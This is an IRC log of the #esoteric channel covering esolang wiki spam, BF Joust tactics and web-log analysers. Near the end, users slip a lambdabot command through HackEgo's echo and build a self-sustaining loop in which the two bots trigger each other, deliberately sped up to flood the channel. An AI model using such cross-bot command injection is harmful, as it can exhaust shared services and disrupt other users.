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10:29:15 <nortti> noteto self: check which application is active before you press cmd-q
10:29:19 <nortti> *note to
10:30:04 <Deewiant> http://blindcode.net/
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11:09:44 <nortti> Kinda funny how X11.app doesn't automatically get focus even if I click one of X11 windows
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11:26:22 <Taneb|Hovercraft> I think the main feature a social network needs to have is needs to be successful to be successful
11:26:36 <Taneb|Hovercraft> As in, people go for the one their mates go for
11:29:02 <Taneb|Hovercraft> On another note, to my knowledge there are 3 esolangs with heavy use of graphs
11:29:08 <Taneb|Hovercraft> Two of which are in user spaces
11:29:52 <Taneb|Hovercraft> Eodermdrone, User:Taneb/Salesman, User:Fizzie#Grasp
11:33:40 <Taneb|Hovercraft> Any others?
11:36:34 <Taneb|Hovercraft> Hungary's president has resigned over allegations of plagarism
11:39:14 <oklofok> i proved something awesome, and it was known to this one dude already :(
11:39:36 <oklofok> waaaaaaaaaaaaaaaaaaaaaaaaa
11:39:36 <Taneb|Hovercraft> :(
11:39:48 <Taneb|Hovercraft> Is that why you're no longer the president of Hungary?
11:40:43 <oklofok> a mathematician would never plagiarise
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11:41:26 <Slereah_> What about Lobachesky
11:42:01 <Slereah_> http://www.youtube.com/watch?v=UQHaGhC7C2E
11:44:46 <Slereah_> "On analytical algebraic topology of locally euclidean metrizations of infinitely differential riemannian manifolds"
11:44:49 <Slereah_> Good lyrics
11:45:29 <Taneb|Hovercraft> And now, I will dissappear
11:47:44 <oklofok> well the russians are a different story
11:48:24 <oklofok> i've heard crazy stories about russian mathematicians
11:48:52 <oklofok> one russian who talked at our uni did a long speech about how he discovered something independently from someone else
11:48:56 <oklofok> as if anyone gave a shit
11:49:21 <oklofok> another russian lamented for ages about this russian guy who published case 2 of something, and claimed case n follows similarly.
11:49:32 <oklofok> no one knows how.
11:49:51 <oklofok> and he promised to write a journal paper as soon as possible, so people aren't really touching the problem.
11:49:56 <oklofok> meanwhile, he's working on different things
11:51:35 <oklofok> i would probably not publish a paper if someone told me they'd already proved those results
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12:01:49 <Taneb|Hovercraft> And I'm back
12:04:22 -!- graue has joined.
12:04:53 <graue> hello all you smiling people
12:05:32 <Taneb|Hovercraft> Hello!
12:06:39 <graue> i have an esowiki trivia question
12:07:01 <graue> where does "Enjoy being locked in your matrix of solidity." come from, or what does it mean y'all
12:07:31 <graue> the sentence does not really mean anything to me
12:07:38 <graue> you could say it's a bit........... esoteric
12:08:55 <oklofok> a crazy guy came here and said things, that was one of them.
12:09:21 <oklofok> for obvious reasons, everyone fell in love with it.
12:11:39 <graue> cool.
12:12:24 <graue> i dig that story
12:13:14 <Taneb|Hovercraft> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.20377
12:15:09 <nortti> so that is where that quote came from
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12:37:54 <itidus21> oklofok: the same problem happens with video game rom translation projects
12:38:29 <itidus21> someone soaks up all the fame and attention by announcing a W.I.P. translation but then gets venemous when questioned about it..
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12:38:47 <itidus21> "leave him alone man... if you don't like it do it yourself"
12:39:27 <itidus21> oh.. samurai shodown rpg... when will someone translate you so the masses can have closure
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13:17:48 <Deewiant> https://www.youtube.com/watch?v=wsOXvQn3JuE
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13:21:30 <Taneb|Hovercraft> I forgot about yesterday
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13:34:52 <ion> deewiant: Hah
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14:00:11 -!- elliott has set topic: http://codu.org/logs/_esoteric/.
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14:03:01 <elliott> hi ais523
14:03:25 <ais523> hi elliott
14:04:14 <nortti> elliott: Did you really use WorldWideWeb on NeXT computer?
14:04:50 -!- Slereah has joined.
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14:07:03 <elliott> nortti: No.
14:07:15 <elliott> I tried to use WorldWideWeb on a non-NeXT computer once.
14:07:16 <elliott> It went badly.
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14:11:48 <itidus21> random ponderance coming, perhaps loosely related
14:13:27 <itidus21> i was reading about the history of books on wiki, and it occured to me that screens/displays/monitors/tvs/projectors will eventually replace the book with a single page which can automatically change it's state to that of any page
14:14:03 <Taneb|Hovercraft> You mean, like ebooks?
14:14:41 <itidus21> im not sure where i am drawing the line though
14:15:15 <itidus21> and im sure i will fail to in the end..
14:15:51 <itidus21> i guess the pages of the book is really stored in a ram
14:15:58 <itidus21> ^ram/rom whatever
14:16:19 <itidus21> i had forgotten that
14:17:45 <fizzie> I don't have anything with an e-ink screen. :/ I'd kinda like to see one, once.
14:17:45 <itidus21> oh well.
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14:18:15 <itidus21> i find the greatest excitement comes from concluding upon a fallacy
14:18:48 <itidus21> since it is like temporarily living in a strange new world where the fallacy is not a fallacy
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14:21:49 <elliott> fizzie: No ebooks in Finland, as they say.
14:22:22 <Deewiant> I think I saw someone on the bus with one once.
14:22:42 <fizzie> I think I saw someone one the bus, too, but couldn't be entirely sure it was e-inky.
14:22:54 <fizzie> An e-reader it anyway was.
14:23:00 <asiekierka> i have an e-inky e-reader
14:23:04 <asiekierka> and thankfully it's not a Kindle.
14:23:25 <elliott> Deewiant: fizzie: You must have been hallucinating.
14:23:41 <asiekierka> Onyx Boox i62, the thing i like most about it is how it supports anything you throw at it, supports full webkit (JS/canvas demos, too!) and comes with linux rooted out of the box
14:23:57 <asiekierka> the thing i hate about it is that compiling the SDK right is probably only a rumour
14:24:11 <RocketJSquirrel> DR800SG is the same, and the SDK is easy to use ;)
14:24:20 <asiekierka> well the SDK for Onyx uses QT
14:24:23 <asiekierka> so porting apps is not too hard
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14:24:27 <RocketJSquirrel> But the company's out of business, 'cuz you don't make money selling things that don't suck.
14:24:41 <asiekierka> some company already ported a Mono app to it
14:28:10 <itidus21> It's more complex than I thought. The book is now an application of text, and text is in 2 parts: the data and the presentation of the data.
14:31:59 <itidus21> once they hook up electronics to your optic nerves, a hacker can become invisible literally
14:37:24 <itidus21> = need more beer
14:43:06 <itidus21> sorry kinda stopped the room in tracks
14:50:02 <elliott> RocketJSquirrel: NO BREATHETIHING????
14:51:49 <RocketJSquirrel> ... well, those are words.
14:53:40 <elliott> "Breathetihing" is a word now?
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14:56:14 <RocketJSquirrel> Well, it's a sequence of letters.
14:56:23 <RocketJSquirrel> Not sure if I need more from my words than that.
14:56:55 <elliott> RocketJSquirrel: Asoidjfgk.
14:59:36 <Taneb|Hovercraft> Oooh yeah
14:59:51 <Taneb|Hovercraft> Hey, there's a new user on the wiki
15:02:33 <elliott> Yep!
15:02:40 <elliott> SO EXCITING
15:02:48 <Taneb|Hovercraft> Odds of BF derivative?
15:02:50 <elliott> Should we start, like... "welcoming" new people?
15:03:00 <elliott> ...nah.
15:03:00 <Taneb|Hovercraft> Odds of being NSQX?
15:03:19 <elliott> Taneb|Hovercraft: I checked that 202.156.*.* hadn't accessed the signup page today, don't worry :P
15:06:29 <elliott> (diff | hist) . . N Index.php‎; 15:02 . . (+3,491) . . Dannybury (Talk | contribs | block)‎ (Created page with "It is tremendous entertaining and genuinely excellent if you have a way with words and spelling. If you are involved obtain the scrabble cost-free obtain for cellular telephon...")
15:07:36 <elliott> I TRUSTED YOU, DANNUYBURY!!!!!
15:07:39 <elliott> I TRUSTED YOU
15:08:01 <elliott> "A single of the wonderful characteristics of truck video games are their one of a kind appears. The vans are created with a assortment of unconventional, entertaining, excellent and futuristic appearances. The style of the vans showcase their exclusive skills, distinctive powers and all round efficiency capabilities."
15:08:07 <elliott> OK, this has to be the best spam we've gotten in a while though :P
15:08:23 <elliott> "They can then beam with satisfaction when the trucker guardian returns residence on subsequent visits and they are equipped to proudly display just how significantly their expertise have enhanced. The broad wide variety of on the web truck game titles available can easily preserve drivers of all amounts intrigued. Just about every game is exclusive and supplies a wide variety of challenges for drivers. Scrabble mobile phone sport is now a cost-f
15:08:23 <elliott> ree down load as properly. It is not tricky to participate in, but can be sufficient of a problem to retain your fascination peaked. This sport normally takes two to four players making an attempt to rating points by forming words onto a board in Need Cash Now."
15:27:45 <nortti> "Linux users interface directly with the CPU via telepathy, but if they're tired, they can use the same UNIX scripting support Mac users have."
15:40:26 <elliott> REAL EXPLODIN' OK
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16:03:57 <elliott> http://meta.stackoverflow.com/questions/127878/sending-large-files-in-c-using-sockets
16:04:29 <RocketJSquirrel> elliott: I love the poorly-pasted code.
16:04:35 <RocketJSquirrel> Server side: INCLUDE INCLUDE INCLUDE
16:06:12 <elliott> RocketJSquirrel: Yes, the include headers elevated it to a work of art, rather than just a particularly amusing trainwreck.
16:06:25 <elliott> RocketJSquirrel: (Never mind the fact that it's on the site for discussion about Stack Overflow, rather than Stack Overflow itself.)
16:07:19 <elliott> http://www.youtube.com/watch?v=W2Wwf1UVdFo
16:07:23 <itidus21> closed as off topic by lunboks, Tim Stone, The Establishment, balpha♦ 24 secs ago
16:10:47 <elliott> RocketJSquirrel: What's good webserver log analytics software>
16:10:48 <elliott> ?
16:11:14 <elliott> I want to find out what the most popular URLs starting with /wiki/ requested by non-bots are.
16:11:22 <elliott> (With multiple visits from the same IP not counting)
16:12:29 <RocketJSquirrel> elliott: Donno.
16:12:42 <RocketJSquirrel> How 'bout grep :)
16:13:19 <elliott> RocketJSquirrel: If there isn't anything nice for it I'll just use Perl :P
16:14:37 <elliott> RocketJSquirrel: Main problem is I'll have to filter out all the bot user agents myself >_>
16:14:51 <RocketJSquirrel> Donno
16:15:23 <elliott> I think there are like twice as many bots as there are search engines.
16:16:20 <fizzie> Awstats and Analog are the two statistics things I've used.
16:16:26 <fizzie> I doubt either is especially nice.
16:16:40 <elliott> Isn't awstats the one with five billion security holes?
16:17:21 <elliott> Seems like analog's website is down.
16:17:29 <elliott> "Analog has not been officially updated since the version 6.0 release in December 2004. The original author moved on to commercial traffic analysis. Updates to Analog continued informally by its user community up until the end of 2009 on the official mailing list. Currently the only formally compiled updated redistributable of Analog is that of Analog C:Amie Edition, which has focused on fixing issues in Analog's XML DTD and on adding new operati
16:17:29 <elliott> ng system and web browser detection to the original code branch."
16:17:31 <elliott> Yeaaaaaaaaaaaaaaaaah
16:27:47 <RocketJSquirrel> How can a log stats analyzer have security vulnerabilities?
16:27:56 <RocketJSquirrel> Doesn't it just generate a report?
16:30:04 <elliott> RocketJSquirrel: awstats is a CGI script thing, I think.
16:30:10 <elliott> With password protection and so on.
16:30:17 <elliott> I understand it's... not very well-written.
16:30:31 <elliott> I mean, obviously I can just hide it behind nginx HTTP auth, but it's still a pain.
16:30:32 <RocketJSquirrel> Ahhhhhhhhhh
16:31:25 <elliott> http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=awstats
16:31:35 <elliott> 22 CVEs for a web log analysis tool. Not good.
16:36:52 <elliott> RocketJSquirrel: Is there a Perl module I can load to get it to automagically work when I open a file ending in ".gz"?
16:37:05 <elliott> I want zperl. (Like zgrep.)
16:37:18 <elliott> If not RocketJSquirrel, maybe FIZZIE knows????
16:48:55 <elliott> http://stackoverflow.com/questions/9974502/paypal-api-through-zend-framework
16:52:43 <fizzie> I run awstats in an offline mode.
16:52:57 <fizzie> Since it looked far too messy to run as a CGI.
16:53:40 <elliott> fizzie: Oh, how does that work?
16:53:51 <elliott> RocketJSquirrel: I'm cooler than the musl guy, right?
16:54:13 <fizzie> It's got some sort of "--year X" or "--month Y" command-line flags that generate a static page. It wasn't completely clear how to set it up though.
16:54:49 <fizzie> And there's a gzip IO layer in Perl, but I don't know offhand something that'd auto-apparate based on filename.
16:55:02 <elliott> Well, I don't need the filename thing per se.
16:55:09 <elliott> It's just that access.log isn't gzipped while access.log.47.gz is.
16:57:07 <fizzie> PerlIO::gzip seems to have an "autopop" mode.
16:57:27 <fizzie> "Potentially dangerous. If the first two bytes match the gzip header "\x1f\x8b" then a gzip header is assumed (and checked) else the layer is silently popped. This results in gzip files being transparently decompressed, other files being treated normally. Of course, this has sides effects such as File::Copy becoming gunzip, and File::Compare comparing the uncompressed contents of files."
16:58:23 <elliott> fizzie: Well, the context would be using it with Perl's -n mode.
16:58:29 <elliott> With a bunch of filenames on the command-line.
17:00:11 <fizzie> Mhrm. Well, I don't know what would be the proper magic to make that happen when it's internally opening the files.
17:00:13 <elliott> I am a beginner of Haskell. I am trying out the happy.
17:00:28 <elliott> fizzie: Doesn't it just use the Perl open()? I guess maybe not.
17:01:51 <elliott> I suppose I might write a little Haskell module to parse the log lines.
17:01:53 -!- pikhq has joined.
17:01:57 <elliott> They aren't very regexpable.
17:02:22 -!- pikhq_ has quit (Ping timeout: 276 seconds).
17:06:00 <Sgeo> It occurs to me that even though at least one person here is a Facebook friend, some details of my life are not visible to this channel at all
17:06:30 <elliott> ok
17:07:49 <elliott> fizzie: Oh, the Debian has the awstats.
17:08:38 <elliott> Okey, I will trey it.
17:08:52 <elliott> -bash: awstats: command not found
17:08:53 <elliott> ":/"
17:13:48 <elliott> How do you list the files in a Debian package again?
17:14:34 <fizzie> dpkg-query -L
17:14:51 -!- boily has joined.
17:14:54 <fizzie> /usr/lib/cgi-bin/awstats.pl is the script.
17:16:01 <fizzie> /usr/lib/cgi-bin/awstats.pl -config=$cfg -update and then ... -year=X -month=Z -output -staticlinks are what my scripts call.
17:17:09 <fizzie> Oh, and then -year=X -month=Z -output=W -staticlinks for W in a long list of report page types.
17:17:29 <fizzie> It's not really very nice to use "offline" like that.
17:18:31 <fizzie> Though I think /usr/share/doc/awstats/examples/ has some model scripts too.
17:19:04 <fizzie> (The -update step is the one that reads all new logs; the rest output HTML to stdout.)
17:20:01 <fizzie> Oh, and /usr/share/awstats/tools/ has some pre-made "build static pages" script.
17:20:33 <fizzie> That was somehow deficient, I think. Though maybe I was just NIHhing.
17:21:01 <elliott> I'm... not convinced this is better than writing my own thing.
17:22:03 <elliott> How come there's no fancy Web 2.0 log analyser with fancy searching and AJAX and pretty graphs and all that? They all seem to use those silly javascript web bugs.
17:23:43 <olsner> "the web scale web log webalyzer"
17:24:33 <elliott> :(
17:24:47 <olsner> hmm, this is a shame, adding program size to the fitness makes it evolve only boring programs
17:25:05 <elliott> http://piwik.org/ -- see, this is nice, if only it didn't use a bug.
17:25:08 <elliott> olsner: What're you evolving?
17:25:33 <olsner> elliott: kuskelar a clatsop man, http://codu.org/eso/bfjoust/report.txt
17:26:31 <elliott> I guessed BF Joust :)
17:26:39 <elliott> olsner: Well that thing's terrible.
17:27:11 <elliott> RocketJSquirrel: Have you considered failing all programs with negative points (not score)?
17:27:27 <elliott> They're almost always things that just aren't any good on the current hill and win only because the scoring system is weird.
17:27:57 <olsner> it's probably better than what I would achieve in one night of jousting though :)
17:29:00 <elliott> olsner: Have you seen the really gigantic programs?
17:29:36 <olsner> yeah, one or two of them
17:29:49 <elliott> http://codu.org/eso/bfjoust/in_egobot/Gregor_furry_furry_strapon_pegging_girls.bfjoust includes its generator script ;)
17:29:56 <elliott> (As does http://codu.org/eso/bfjoust/in_egobot/Gregor_furry_furry_leather_discipline_girls.bfjoust)
17:30:04 <olsner> that was slightly boggling yes
17:31:00 * elliott wants to see the programs that generated http://codu.org/eso/bfjoust/in_egobot/ais523_anticipation.bfjoust and http://codu.org/eso/bfjoust/in_egobot/quintopia_space_elevator.bfjoust
17:32:45 <ais523> http://sprunge.us/AaHT
17:33:09 <ais523> the funny thing about anticipation is, it'd be trivial to write a version that isn't sensitive to details of the opposing programs
17:33:28 <ais523> but then it'd be too long for the interpreter, so instead I had to tweak constants to use only the lines that actually mattered against programs on the hill
17:38:25 <elliott> ais523: wow, that's surprisingly short
17:38:46 <elliott> "Given that a better interpreter could allow for all values"
17:38:48 <ais523> the program itself is very simple and repetitive, just doesn't compress well because the numbers are different each time
17:38:53 <elliott> ais523: would this require extending the language with more macro facilities?
17:38:57 <ais523> did you not notice that anticipation is basically the same line over and over again
17:39:00 <elliott> or is chainlance or whatever it was just too limited?
17:39:11 <ais523> elliott: oh, that'd help more, but the actual problem was just the restriction on program size
17:39:16 <elliott> and sort of, but not really, since it's very long
17:39:20 <elliott> ais523: how big would it be without the special-casing?
17:39:31 <elliott> (also, would cpp be enough to provide the necessary macro facilities?)
17:39:53 <ais523> around 5 times as long, and only if you can get it to count in decimal
17:40:05 <elliott> you can :)
17:40:09 <elliott> (but it's a pain)
17:40:15 <ais523> (which I don't think you can do without a crazy state machine; it can evaluate integer expressions, but not substitute their results into the generated code)
17:40:21 <elliott> ais523: but, I mean, you could use cpp for the ()* and ()% parts too
17:40:28 <elliott> just assume that it uses an incremental cpp interpreter of some kind
17:41:05 <ais523> anyway, I consider BF Joust pretty much broken by now, I don't think standard defensive programs can possibly win against slowpoke's clear loop, and it's possible to adjust it to beat anticipation too
17:41:40 <elliott> that's not what you said a while ago
17:41:43 <ais523> specifically, timer clear beats regular locks, the structure of its loop beats both triplocks and shudder-style programs, and it could be adapted to beat anticipation simply by giving a fallback strategy
17:42:01 <ais523> I discovered that you could change timer clears to beat anticipations too a while back
17:42:07 * elliott thinks there's a *lot* more possibilities for defence programs than the "standard" style
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17:42:18 <elliott> it's a much more varied field than attack, by a huge margin
17:42:24 <ais523> yes
17:42:46 <elliott> hmm... idea
17:42:57 <elliott> there's lots of defence programs that start attacking if they figure the opponent is defending
17:43:10 <elliott> are there any attacking programs that start defending if they think the opponent is coming to attack them?
17:43:24 <elliott> obviously that'll require quite a slow rush, but still
17:44:33 <elliott> @ping
17:44:33 <lambdabot> pong
17:44:41 <lambdabot> pang
17:44:44 <lambdabot> pung
17:44:48 <lambdabot> peng
17:45:12 <ais523> elliott: I know that waterfall switches from a complicated defence strategy to a much simpler one if it notices that its early decoys have the wrong values
17:45:13 <elliott> Thanks, lambdabot.
17:45:16 <elliott> Thambdabot.
17:45:31 <graue> potatobot
17:45:41 <ais523> and I'm pretty sure someone else had an attack program that changed if it had early decoys disrupted, although it may have been to a turtle rather than a defence program
17:46:11 <elliott> has anyone made a program that will switch strategies more than once?
17:46:23 <elliott> i.e. that'll actually bounce back multiple times if it thinks the other program is changing _its_ behaviour
17:46:46 <ais523> I don't think that makes sense, once you're in an attack race switching isn't going to help
17:46:57 <ais523> and if you're both defending it doesn't matter what you do
17:47:07 <elliott> ais523: yes, but consider if the other program is switching strategies itself
17:47:30 <elliott> e.g., it waits until the other defence program gives up, concludes it's defending and starts rushing
17:47:38 <elliott> and then it attacks while the other program is blindly rushing
17:47:53 <ais523> elliott: well, the problem is that that's just changing once
17:47:54 <elliott> if the other program could change behaviour back to defending while it's rushing, it could prevent that
17:47:57 <elliott> ais523: yes, see ^
17:48:04 <elliott> which would be two changes
17:48:38 <ais523> anyway, the point is, that defence programs that start attacking after a while, do so with a strategy that can't easily be defended against
17:48:42 <ais523> like five- or seven-cycle clear
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17:49:10 <elliott> err, so?
17:49:12 <elliott> I never contradicted that
17:49:47 <elliott> ok, consider a program A, when faced against a defence program B, it just sits there waiting, then B concludes that A must be defence program and starts fast-rushing; A takes this opportunity to rush B, which is no longer defending and just blind-rushing
17:50:10 <elliott> if B rushed a little slower to get the opportunity to know that _it's_ being counter-rushed, it could run back to defend (which would be 2 mode changes)
17:50:20 -!- nortti has left ("Leaving").
17:50:23 <ais523> oh, that's really bad play from both programs
17:50:42 <ais523> attacking is the worst thing you can do if you detect that you're being blindly rushed, unless you happen to be closer to the opponent's flag than they are to yours at the time
17:50:47 <ais523> you'll just lose
17:51:13 <ais523> and B's subsequent retreat would just be throwing away the chance to win for a chance at maybe safeguarding its flag, and it'd have to interrupt its own rush to check
17:51:17 <elliott> ais523: well, the idea is that A would wait near to B's flag
17:51:26 <elliott> so it could be notified of the rush early, and get to B's flag quickly
17:51:28 <ais523> elliott: if it knew where B's flag /was/, it could just clear it
17:51:35 <ais523> this is the whole problem with BF Joust, right?
17:51:42 <elliott> ais523: yes, but the point is that B is defending...
17:51:46 <elliott> so A doesn't want to go near until B is gone
17:52:12 <ais523> elliott: yes; but how can A figure out where to wait?
17:52:21 <ais523> note that if it waits near B's flag, it can't figure out that B has gone
17:52:25 <ais523> because B is unlikely to leave a trail
17:52:42 <ais523> A would have to be at least 9 spaces away from B's flag, because B is going to be using the rule of 9
17:52:54 <elliott> well, OK
17:52:55 <ais523> and to guarantee /that/, it has to be on its own flag
17:54:20 <elliott> it could always sacrifice lower tape lengths
17:54:54 -!- calamari has left ("Leaving").
17:55:14 <ais523> doesn't help, you'd need to sacrifice more than half of them to be able to be closer to the opponent's flag than they are when you detect them attacking
17:55:38 <elliott> well, what about a program that works by magic and has no possible objections to its strategy?
17:56:09 <ais523> I do not consider this a valid argument :)
17:56:28 -!- teD_thE_PoTHead has joined.
17:56:39 <elliott> `welcome teD_thE_PoTHead
17:56:41 <elliott> oh, wait
17:56:43 <HackEgo> teD_thE_PoTHead: Welcome to the international hub for esotericism and the occult! For more information, check out our wiki: http://www.demonicpedia.com/
17:56:44 <elliott> we haven't de-april foolsed that yet
17:56:48 <elliott> how embarrassing
17:56:54 <elliott> teD_thE_PoTHead: hi, http://esolangs.org/wiki/Main_Page
17:57:08 <elliott> `pastlog Welcome to the international hub
17:57:22 <HackEgo> 2011-12-09.txt:23:10:56: <HackEgo> espero: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
17:57:27 <elliott> `run echo 'Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page' >wisdom/welcome
17:57:30 <HackEgo> No output.
17:57:36 <elliott> `welcome teD_thE_PoTHead
17:57:40 <HackEgo> teD_thE_PoTHead: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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18:24:09 <elliott> (User creation log); 18:23 . . David.werecat (Talk | contribs | block)‎ New user account
18:24:17 <elliott> I wonder if this one is a spammer too. Hopefully not.
18:24:32 -!- oerjan has joined.
18:24:41 <elliott> Ah, an Opera user.
18:24:45 <elliott> Well, no spammer would impersonate Opera users.
18:24:57 <elliott> olsner: HEAR THAT, OPERA USER?
18:25:45 <elliott> ais523: do we subst {{unsigned}} or not?
18:26:07 * oerjan concludes that his theory of roman numeral look-and-say implies all sequences have an asymptotic growth rate given by the unique real solution to x^19 = x^8 + x^5 + x^2 + 1.
18:26:16 <ais523> I don't think it matters
18:26:22 <ais523> probably yes, but I don't really care
18:26:33 <elliott> there's only two substituted uses of it
18:26:36 <elliott> so I'll de-subst them, I suppose
18:26:51 <elliott> hey, I can made {{unsigned}} work with a history line
18:26:55 <elliott> without requiring the | divider
18:27:46 <oerjan> yay
18:27:57 <oerjan> although i still have to correct the timezone :(
18:28:10 -!- MoALTz has joined.
18:28:43 <elliott> oerjan: I just set the wiki to UTC
18:28:56 <elliott> no reason for comments and recent changes to be in different timezones
18:29:08 <oerjan> hmph
18:29:21 * oerjan elliott may have a point
18:29:30 * elliott elliott may have a point
18:29:40 * elliott hird
18:29:48 * oerjan johansen
18:30:01 <elliott> hi
18:30:06 <oerjan> ho
18:32:32 <elliott> it's off to work we go
18:34:29 <elliott> ais523: don't spoil the answer for me, btw
18:35:38 <ais523> answer to what?
18:35:56 <elliott> ais523: I'm trying to do some template trickery I know is possible, but not how
18:35:59 <elliott> but I want to figure it out myself
18:36:02 <ais523> ah, OK
18:37:54 <Sgeo> "This type of wallhack is rampant. Even for the most popular of games."
18:38:10 <elliott> ais523: (it's related to substitution)
18:38:43 <ais523> Sgeo: I think the implication is that the developers of popular games have more motivation to stop cheating
18:38:51 <Sgeo> Ah
18:39:19 <cheater> Sgeo: fifa 2010 vs nethack
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18:40:18 * oerjan notes wolfram alpha factorizes x^2 - x + 1 out of that polynomial
18:40:52 <oerjan> and has that annoying "register to copy and paste" that has been mentioned before
18:41:29 <elliott> * oerjan concludes that his theory of roman numeral look-and-say implies all sequences have an asymptotic growth rate given by the unique real solution to x^19 = x^8 + x^5 + x^2 + 1.
18:41:31 <elliott> *all* sequences?
18:41:46 <oerjan> for roman numeral look-and-say, yes
18:42:33 <oerjan> x ~ 1.09808
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18:44:02 <elliott> oerjan: hands off the new language, that wikifying is _mine_
18:44:08 <oerjan> OKAY
18:45:07 -!- MoALTz_ has quit (Ping timeout: 245 seconds).
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18:48:26 <oerjan> > iterate (\x -> (x^8 + x^5 + x^2 + 1)**(1/19)) 1.1
18:48:27 <lambdabot> [1.1,1.0985457517719988,1.0981920311715194,1.0981060808817724,1.09808520098...
18:48:48 <oerjan> > drop 10 $ iterate (\x -> (x^8 + x^5 + x^2 + 1)**(1/19)) 1.1
18:48:49 <lambdabot> [1.098078502947138,1.0980785019051384,1.0980785016520256,1.0980785015905417...
18:49:03 <oerjan> > drop 20 $ iterate (\x -> (x^8 + x^5 + x^2 + 1)**(1/19)) 1.1
18:49:04 <lambdabot> [1.0980785015708157,1.098078501570815,1.0980785015708148,1.0980785015708145...
18:49:06 <elliott> perl -pe 's/<br \/>//; s/-/<\/code> || /; s/^/|-\n| <code>/'
18:49:07 <elliott> skillz
18:50:01 <elliott> http://esolangs.org/wiki/ProgFk WIKIF'YYYD
18:50:21 <elliott> ais523: OK, I give up
18:50:28 <elliott> ais523: what's the trick to creating a template that behaves specially when substed?
18:50:43 <ais523> oh, I don't think there is one
18:50:50 <elliott> erm, there is
18:50:56 <elliott> all the deletion templates yell at you if you do that, f.e.
18:51:02 <ais523> oh, right
18:51:12 <elliott> and I know there's a special trick based on it you can do that makes substing a template actually turn into a non-substed transclusion
18:51:13 <oerjan> > drop 50 $ iterate (\x -> (x^8 + x^5 + x^2 + 1)**(1/19)) 1.1
18:51:14 <lambdabot> [1.0980785015708145,1.0980785015708145,1.0980785015708145,1.098078501570814...
18:51:19 <elliott> which is cute enough that I want to know how it works
18:51:28 <ais523> you could use a template like {{!}}, I guess, that generates a | when substed
18:51:34 <ais523> and makes it change the parameres to another call
18:51:57 <elliott> ais523: yes, unfortunately #if and #ifeq don't seem to work properly, I guess you need the equivalent of qif
18:53:10 <ion> > map snd . dropWhile ((>= 1e-12) . uncurry (-)) . (zip <*> tail) . iterate (\x -> (x^8 + x^5 + x^2 + 1)**(1/19)) $ 1.1
18:53:12 <lambdabot> [1.0980785015710974,1.0980785015708834,1.0980785015708314,1.098078501570818...
18:53:32 <ion> > map snd . dropWhile ((>= 1e-24) . uncurry (-)) . (zip <*> tail) . iterate (\x -> (x^8 + x^5 + x^2 + 1)**(1/19)) $ 1.1
18:53:33 <lambdabot> [1.0980785015708145,1.0980785015708145,1.0980785015708145,1.098078501570814...
18:54:18 <elliott> (diff | hist) . . N DBFV!‎; 18:50 . . (+1,320) . . David.werecat (Talk | contribs | block)‎ (DBFV! is a language by David Catt where each line is a separate function.)
18:54:28 * Sgeo wonders if MC will work on this machine
18:54:28 <elliott> ais523: oh dear, remember Pegasus adding a billion languages in three minutes?
18:54:36 <elliott> I can only wikify so fast...
18:54:50 <ais523> elliott: I don't
18:57:53 <elliott> ais523: http://esolangs.org/wiki/Parnassus might jog your memory
18:58:05 <elliott> and http://esolangs.org/wiki/Libertas
18:58:36 <elliott> hmm, our style guide is kind of crazy
18:58:39 <elliott> "Only use bold for the title of an article, and only the first time it appears."
18:59:49 <elliott> (diff | hist) . . N RunR‎; 18:59 . . (+2,683) . . David.werecat (Talk | contribs | block)‎ (RunR is a language by David Catt where all instructions are in a two dimensional space known as "The Grid".)
18:59:53 <elliott> skldjfl;sdkjfkl;sdfj
19:00:11 <ineiros> fgsfds
19:00:18 * elliott wikifies then leaves an introduction message
19:00:20 <ion> ineiros: Well spoken.
19:02:38 <elliott> ais523: how do you uppercase a matched group in a regex substitution?
19:02:39 <elliott> in perl
19:02:48 <elliott> I guess /e :/
19:02:52 <ais523> you need /e
19:02:54 <ais523> or, hmm
19:03:01 <ais523> does \U$1\E work?
19:03:27 <elliott> yes, thanks
19:04:35 <elliott> oerjan: http://esolangs.org/w/index.php?title=Language_list&curid=960&diff=31702&oldid=31456
19:04:45 <elliott> oerjan: you get to teach another person the alphabet :)
19:06:03 -!- MoALTz_ has joined.
19:08:35 -!- MoALTz__ has quit (Ping timeout: 248 seconds).
19:10:21 -!- nortti has joined.
19:12:13 -!- augur has joined.
19:13:20 -!- augur has quit (Remote host closed the connection).
19:13:44 <nortti> `run echo '@time'
19:13:47 <Sgeo> elliott, they typoed the language name
19:13:47 <HackEgo> ​@time
19:14:14 <elliott> Sgeo: Oh, heh
19:14:21 <elliott> nortti: HackEgo does funny business to stop you doing that.
19:14:22 <nortti> `? lambdabot
19:14:23 <oerjan> `run echo 'lambdabot: @time'
19:14:25 <elliott> Sgeo: (Are we being watched???)
19:14:25 <HackEgo> lambdabot? ¯\(°_o)/¯
19:14:33 <elliott> oerjan: ooh, clever
19:14:37 <HackEgo> lambdabot: @time
19:14:37 <elliott> i forgot about that
19:14:42 <elliott> ok one second lemme whip up a quick botloop
19:14:59 <elliott> @where+ hackegoloop `cat lambdabotloop
19:14:59 <lambdabot> Nice!
19:15:06 <oerjan> it's _conceivable_ someone fixed that loophole...
19:15:07 <elliott> `run echo 'lambdabot: @where hackegoloop' >lambdabotloop
19:15:10 <HackEgo> No output.
19:15:11 <elliott> `cat lambdabotloop
19:15:15 <HackEgo> lambdabot: @where hackegoloop
19:15:15 <lambdabot> `cat lambdabotloop
19:15:20 <HackEgo> lambdabot: @where hackegoloop
19:15:21 <lambdabot> `cat lambdabotloop
19:15:24 <HackEgo> lambdabot: @where hackegoloop
19:15:24 <lambdabot> `cat lambdabotloop
19:15:28 <HackEgo> lambdabot: @where hackegoloop
19:15:28 <elliott> Well this is a bit slow.
19:15:28 <lambdabot> `cat lambdabotloop
19:15:32 <elliott> Come on, ramp up before it gets killed.
19:15:32 <HackEgo> lambdabot: @where hackegoloop
19:15:32 <lambdabot> `cat lambdabotloop
19:15:35 <elliott> `cat lambdabotloop
19:15:35 <elliott> `cat lambdabotloop
19:15:35 <elliott> `cat lambdabotloop
19:15:35 <elliott> `cat lambdabotloop
19:15:36 <HackEgo> lambdabot: @where hackegoloop
19:15:36 <lambdabot> `cat lambdabotloop
19:15:46 <elliott> @where hackegoloop
19:15:46 <elliott> @where hackegoloop
19:15:46 <lambdabot> `cat lambdabotloop
